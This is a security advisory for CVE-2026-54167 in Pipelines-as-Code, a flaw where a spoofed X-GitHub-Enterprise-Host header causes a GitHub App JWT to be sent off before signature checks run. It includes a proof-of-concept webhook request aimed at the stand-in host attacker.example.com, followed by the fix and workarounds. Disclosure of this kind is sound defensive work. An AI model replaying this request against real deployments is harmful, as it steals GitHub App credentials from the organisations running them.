high · 8.2CVE-2026-54167Aug 20, 2026

CVE-2026-54167: Pipelines-as-Code GitHub App JWT Exfiltration via Untrusted X-GitHub-Enterprise-Host Header

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An unauthenticated attacker who can reach the Pipelines-as-Code webhook endpoint can trick it into sending a freshly signed GitHub App JWT to an attacker-controlled server by spoofing the…

Packagegithub.com/openshift-pipelines/pipelines-as-code
Ecosystemgo
Affected>= 0.43.0, < 0.48.0
Fixed in0.48.0
CVE-2026-54167: Pipelines-as-Code GitHub App JWT Exfiltration via Untrusted X-GitHub-Enterprise-Host Header

The problem

Pipelines-as-Code (versions 0.43.0 through 0.47.x) accepted the X-GitHub-Enterprise-Host header at face value when handling GitHub App webhook events.

Whenever a webhook body included an installation.id, the controller would sign a GitHub App JWT and immediately request an installation access token from whatever host that header pointed to, before verifying the webhook HMAC signature or checking that the host matched the repository URL in the payload.

Any network-reachable attacker could therefore send a minimally valid webhook body, point the header at their own HTTPS server, and receive the raw JWT within its validity window.

Proof of concept

A working proof-of-concept for CVE-2026-54167 in github.com/openshift-pipelines/pipelines-as-code, with the exact payload below.

http
POST /pipelines-as-code/webhook HTTP/1.1
Host: pac-controller.internal
Content-Type: application/json
X-GitHub-Event: push
X-Hub-Signature-256: sha256=0000000000000000000000000000000000000000000000000000000000000000
X-GitHub-Enterprise-Host: attacker.example.com

{
  "installation": { "id": 12345678 },
  "repository": { "full_name": "victim-org/victim-repo" },
  "ref": "refs/heads/main",
  "after": "0000000000000000000000000000000000000000",
  "sender": { "login": "attacker" }
}

The root cause is that the Enterprise host resolution happened before signature verification (CWE-345: Insufficient Verification of Data Authenticity). The controller read X-GitHub-Enterprise-Host, built an API client pointing at that host, minted a JWT, and performed a token exchange, all before the HMAC check that would have rejected the spoofed payload.

The patch (v0.48.0) reorders operations: webhook signature verification runs first, and the Enterprise host is derived from the configured Repository CR URL rather than from any request header. The X-GitHub-Enterprise-Host header is no longer trusted at all for incoming webhook token requests.

The fix

Upgrade to pipelines-as-code v0.48.0 or later. As a short-term workaround, strip or block the X-GitHub-Enterprise-Host header at your ingress or reverse proxy in front of the PAC webhook endpoint. For GitHub.com installations, reject any request that includes this header.

Rotate the GitHub App private key if exploitation is suspected.

Reported by Pipelines-as-Code maintainers.

References: [1][2]

Related research